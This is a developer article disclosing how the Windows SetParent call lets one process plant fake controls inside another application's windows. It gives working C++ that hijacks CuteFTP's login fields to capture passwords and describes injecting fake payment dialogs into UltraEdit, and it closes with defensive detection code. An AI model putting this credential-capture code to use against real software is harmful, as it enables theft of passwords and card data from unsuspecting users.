Click here to Skip to main content
Click here to Skip to main content

Tagged as

Phishing applications: Security threats regarding the SetParent function

, 10 Nov 2011 CPOL
Rate this:
Please Sign up or sign in to vote.
This article explains how the SetParent function can be used to deceive users and incurs a catastrophe. Also, it suggests protection techniques against attacks presented here.

Introduction

Using the SetParent function to own other application windows is quite outdated and might not be surprising. This technique is widely adopted in modern web browser applications such as Google Chrome and Internet Explorer 9. In these applications, one process acts as a container which manages other windows, and other processes work as if they are child processes or threads. This is the most famous legitimate usage of the technique. However, this article explains how it could be a catastrophe and suggests protection techniques against attacks presented here.

Why do I bring this old technique up?

Although there are many articles about this topic on the Internet, they focus on manipulating this technique in order to extend the functionality of applications. For example, many of them introduce and explain how to host other applications in your dialog. However, nowadays in my mind, I am hooked on possible security threats of the usage of this function.

Briefly, this article explains and demonstrates how the technique can be used to deceive users in order to leak sensitive information. Since it can be deployed easily in lots of commercial and noncommercial applications, it can be a great security risk.

Level of threats: There is no protection against it

Basically, all things and issues covered by this article can also be implemented by various techniques. A well known approach is injecting code to a process. Since there is no restriction for code in the same process, everything is possible by injecting a malicious module. However, since it is quite famous, there are many protection solutions which prevent that. Therefore, although the method presented in here is not powerful as much as the injection method, it is more dangerous than the previously proposed techniques in that most security solutions such as anti-virus solutions do not alarm and inform the users.

Moreover, as I will explain in a later section of this article, it also allows you to extend a target application to deceive users enter additional data that was originally not required by the original software. For example, you may add new payment windows in order to obtain users' payment information.

Background I: Windows System

This section covers how a Windows system works in a brief way. The most interesting and surprising thing about the Windows system is that it does not have strict links between processes and windows. Since the process creates windows, it seems to be obvious that windows must be linked to the creator, a certain process. However, in reality, there is no specific restriction on the issue.

Therefore, you can create and access any control in the Windows Operating Systems unless these accesses are related to memory accesses. Specifically, some accesses require memory space in order to store the requested information. For instance, the WM_GETTEXT message returns text which a control owns. To receive data, you must assign lParam to the memory address. However, since each process has totally isolated memory space, if you want to obtain information by using the WM_GETTEXT message, you should allocate and access other processes' memory area by using WriteProcessMemory and ReadProcessMemory. In summary, there is no explicit bar which thwarts the inter-process control access.

Background II: Windows Messages

In this section, I summarize the Windows messaging system in a very concise manner. Basically, most controls have event handlers to response users' requests. As you might know, each window has a WindowProc function to process their messages. In addition to this, child controls rely on their parent window's message handler. For example, when users click the button, an event handler, WindowProc, of the parent window receives a WM_COMMAND message with an ID of the button control (wParam). Since it cannot be changed unless you subclass the control, which usually incurs many problems in runtime when you use it to control windows in other processes, you should have a control of the parent window of control in order to interact with the user requests. Therefore, it is hard to receive messages like WM_COMMAND without injecting your code which can be detected by many protection solutions. In short, if you put your control, not a window, on another application, you should monitor to read the data in your control repeatedly.

Threat demonstrations

Demo I: Replacing controls in other applications with your controls

This is a quite primitive and naïve approach to intercepting sensitive information. To introduce it very quickly, I will take an example by stealing information on a well known FTP software, CuteFTP 8 Lite (http://www.globalscape.com/downloads/startdownloadnet.aspx?p=CL8).

The following picture is CuteFTP 8 Lite's login window and I will demonstrate how to replace our control to steal sensitive data in this application.

First of all, I inspected a CuteFTP 8 Lite's login window by using Spy++ to extract the control ID and its window hierarchy. The control ID of the username editbox is 0xBBB and that of the password control is 0xBBC. By using this information, you can find a CuteFTP login window like the below code.

BOOL CALLBACK WndEnumProc(HWND hwnd, LPARAM lParam)
{
    HWND* phWndAry = (HWND*)lParam;
    if( phWndAry ) {
        HWND hWndChild = NULL;
        
        do {
            if( hWndChild ) {
                int nID = ::GetDlgCtrlID( hWndChild );
                switch( nID ) {
                case 0xBBC: // ctrl id from Spy++
                    phWndAry[1] = hWndChild;
                    break;
                case 0xBBB: // ctrl id from Spy++
                    phWndAry[2] = hWndChild;
                    break;
                }
            }
            hWndChild = ::FindWindowEx( hwnd, hWndChild, "Edit", NULL );
        } while (hWndChild);

        if( phWndAry[1] && phWndAry[2] ) {
            phWndAry[0] = hwnd;
            return FALSE;
        }
    }

    return TRUE;
}

Then, the following function finds a CUTE FTP window by using the above function and replaces the username and password controls with your own control.

void CHiJackDlg::Hijack_CUTEFTP()
{
    HWND hWndEditBoxes[3] = { NULL, NULL, NULL };
    ::EnumWindows( WndEnumProc, (LPARAM)hWndEditBoxes );

    HWND hWndTargetDlg = hWndEditBoxes[0];
    HWND hWndTargetPW = hWndEditBoxes[1];
    HWND hWndTargetID = hWndEditBoxes[2];

    if( hWndEditBoxes[0] && hWndEditBoxes[1] ) {    
        RECT rect[2];
        ::GetWindowRect( hWndTargetID, &rect[0] );
        ::GetWindowRect( hWndTargetPW, &rect[1] );

        ScreenToClient_RECT( hWndTargetDlg, &rect[0] );
        ScreenToClient_RECT( hWndTargetDlg, &rect[1] );
        
        HWND hWndID = ::GetDlgItem( GetSafeHwnd(), IDC_EDTID );
        HWND hWndPW = ::GetDlgItem( GetSafeHwnd(), IDC_EDTPWD );

        // 0. Hide mock windows
        ::ShowWindow( hWndID, SW_HIDE );
        ::ShowWindow( hWndPW, SW_HIDE );
        

        // 1. Hide org window.
        ::ShowWindow( hWndTargetID, SW_HIDE );
        ::ShowWindow( hWndTargetPW, SW_HIDE );

        // 2. Put your code on CuteFTP.
        ::SetParent( hWndID, hWndTargetDlg );
        ::SetParent( hWndPW, hWndTargetDlg );

        // 3. Place it on right place.
        ::SetWindowPos( hWndID, NULL, rect[0].left, rect[0].top, 
            rect[0].right - rect[0].left, 
            rect[0].bottom - rect[0].top, 
            SWP_NOZORDER|SWP_SHOWWINDOW );
        ::SetWindowPos( hWndPW, NULL, rect[1].left, rect[1].top, 
            rect[1].right - rect[1].left, 
            rect[1].bottom - rect[1].top, 
            SWP_NOZORDER|SWP_SHOWWINDOW );

    } else {
        AfxMessageBox("Failed to detect CuteFTP client's connection window");
    }
}

To obtain data a user typed, a timer is used to periodically call the GetWindowText function. As you might know, using GetWindowText in order to get password text from out of a process is not possible. Therefore, some articles inject their module to a target process in order to do it. However, as you seen here, it is very simple to obtain passwords! No injection and extra module!

Moreover, replacing a password window with your own window is also possible. Additionally, you can apply this technique payment application in order to steal information such as your card number and security number such as your password. (Note that I do not demonstrate it in here due to its impact.)

Demo II: Inserting an editbox control for payment information

Now I am trying to add a new feature to an existing application to make a user enter additional data.

I added new labels and an editbox in order to obtain the card number and its security number. To make it more convincing, I also wrote a description above the controls. However, if you change a static control's parent into UltraEdit's window, the static control's background color becomes white. This is because the background color of the control is determined by the WM_CTLCOLOR message which is sent to the parent window's event handler. Since the parent window, About window, does not know the injected control's existence, the control has a NULL background color, white.

One option to figure out this problem is to subclass the control and process the WM_PAINT message. In the MFC application, you can subclass windows by creating derived classes and inheriting it.

void CMyStatic::OnPaint() 
{
    CPaintDC dc(this); // device context for painting
    
    CRect rect;
    GetWindowRect(rect);
    ScreenToClient(rect);
    dc.FillSolidRect( rect, ::GetSysColor( COLOR_3DFACE ) );
    
    CFont* pFont = GetFont();
    CFont* pOldFont = (CFont*)dc.SelectObject(pFont);
    CString szText;

    GetWindowText(szText);
    dc.DrawText( szText, rect, DT_EDITCONTROL|DT_WORDBREAK );

    dc.SelectObject( pOldFont );
}

Now, you can see more convincing windows as shown in the below picture.

It is very difficult to be identified by users since there is no indication whether or not it is from UltraEdit. In other words, it is much more dangerous than phishing web sites since it doesn't have any URL which informs users that they are currently in the wrong place.

The CHiJackDlg::Hijack_UltraEdit_1() function does what I've explained in this section. Since there is no difference in techniques except what I stated above, I have not posted the source code in here. If you want to see the code, please download the sample project.

Demo III: Adding new feature to deceive a user to enter additional data

In this section, I will demonstrate new features. Since lots of previous techniques focus on monitoring sensitive user information, they depend on what applications request. For example, if an application does not have any payment window, monitoring applications are not able to have payment information. However, in here, I present a tricky method to obtain payment information in an application which does not have any payment function.

For the demonstration, UltraEdit's About window is also used. The first process replaces the 'Buy Now!' button with your own button. However, as I mentioned above, just inserting a button into the other process is not working since WM_COMMAND is sent to its parent window. Therefore, I try to insert a child dialog with the button. Let's see the following steps.

  1. Create a dialog in the resource editor. (IDD_CHILD)
  2. Change the dialog style to Child and the border option to None.
  3. Add a button (IDC_BUTTON1) on IDD_CHILD.
  4. Change the button name to '&Buy Now!'
  5. Add the AttachWithSize function to the dialog class.
  6. Add an event handler on the button (OnButton1).
  7. Create a dialog in the resource editor. (IDD_PAYMENT)
  8. Check the 'Center' option in the More Styles tab.
  9. Place controls and code whatever you want, as shown in the below picture.

#include <span class="code-string">"PaymentDlg.h"
</span>
void CChildDlg::AttachWithSize(HWND hWndNewParent, int x, int y, int nWidth, int nHeight)
{
    GetDlgItem( IDC_BUTTON1 )->SetWindowPos( 0, 0,0, nWidth, nHeight, SWP_NOZORDER );

    ShowWindow(SW_HIDE);
    ::SetParent(GetSafeHwnd(), hWndNewParent);
    ::SetWindowPos( GetSafeHwnd(), 0, x, y, nWidth, nHeight, SWP_NOZORDER );

    ShowWindow(SW_SHOW);
}

void CChildDlg::OnButton1() 
{
    CPaymentDlg dlg;
    dlg.DoModal();
}

In this case, WM_COMMAND messages of the button are sent to the IDD_CHILD window. Although IDD_CHILD will not receive messages since the parent window does not know the existence of IDD_CHILD, we can achieve most of our goal in this way.

By using this method, you can add full featured dialogs including resources and embedded web browsers. In addition, all processes are just same as what you implement for normal applications.

Protections: Protect against above attacks

The easiest way to prevent the above techniques is to run a thread that monitors windows from other processes. By using EnumChildWindows() and GetWindowThreadProcessId(), you can identify all windows which are shown in your dialog.

In addition, you may check your control's visibility and position periodically. If there is any change, it should be prevented. After identifying injected controls, the best way to protect applications is to destroy them. However, since they belong to another process, the DestroyWindow API cannot destroy it. Therefore, the second solution is to disable and hide injected controls to prevent a user from entering sensitive information.

The below code shows the first possible protection solution I discussed in this section.

BOOL CHiJackDlg::OnInitDialog()
{
    ...
    // protector
    DWORD tid = 0;
    CreateThread(NULL, 0, ProtectorThread, (HWND)GetSafeHwnd(), 0, &tid );
    ...
}

BOOL CALLBACK ProtectWndEnumProc(HWND hwnd, LPARAM lParam)
{
    DWORD dwCurPID = GetCurrentProcessId();

    DWORD pid = 0;
    ::GetWindowThreadProcessId( hwnd, &pid );
    if( pid != dwCurPID ) {
        if( ::IsWindowVisible( hwnd ) || ::IsWindowEnabled( hwnd ) ) {
            AfxMessageBox("Suspicious control has been detected. " 
              "This thread will automatically hide and disable it.");
            
            ::EnableWindow( hwnd, FALSE );        
            ::ShowWindow( hwnd, SW_HIDE );
            return TRUE;
        }
    }

    ::EnumChildWindows(hwnd, ProtectWndEnumProc, (LPARAM)hwnd);

    return TRUE;
}

ULONG WINAPI ProtectorThread(LPVOID lParam)
{
    HWND hWndDialog = (HWND)lParam;

    while( 1 ) {
        ::EnumChildWindows(hWndDialog, ProtectWndEnumProc, (LPARAM)hWndDialog);
        Sleep(250);
    }
    
    return 0;
}

More aggressive protection can be implemented by using API hooks and filtering the SetParent and CreateWindow API which can specify a control's parent. Although it is not a difficult task, I do not include the code since it could take quite a long time to test it.

What can be and cannot be

Since Windows Vista and 7 have introduced UAC which blocks all message exchanging activities among different UAC levels, it is not able to use the SetParent function to replace controls with windows from processes that have a lower UAC level.

Additional note on target applications

In this article, I chose CuteFTP and UltraEdit to demonstrate how the technique works. As you might know, the content of this article can be applied for any kind of application. Therefore, the reason why I demonstrate the method on these applications is just for convenience, not trying to show that they are vulnerable.

If anyone feels this is improper, please let me know of another way to present this idea. Thanks!

History

  • 11/08/2011: First release.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

Share

About the Author

Yonghwi Kwon
Software Developer
United States United States
I started to write software since 1999 and have developed various products including security solutions and system utilities.
 
Microsoft Visual C++ MVP (from 2008 to present)
Website: http://rodream.net

Comments and Discussions

 
GeneralMy vote of 5 PinmemberRene Pilon18-Feb-12 4:46 
GeneralRe: My vote of 5 PinmemberYonghwi Kwon20-Feb-12 21:25 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

| Advertise | Privacy | Terms of Use | Mobile
Web04 | 2.8.141030.1 | Last Updated 10 Nov 2011
Article Copyright 2011 by Yonghwi Kwon
Everything else Copyright © CodeProject, 1999-2014
Layout: fixed | fluid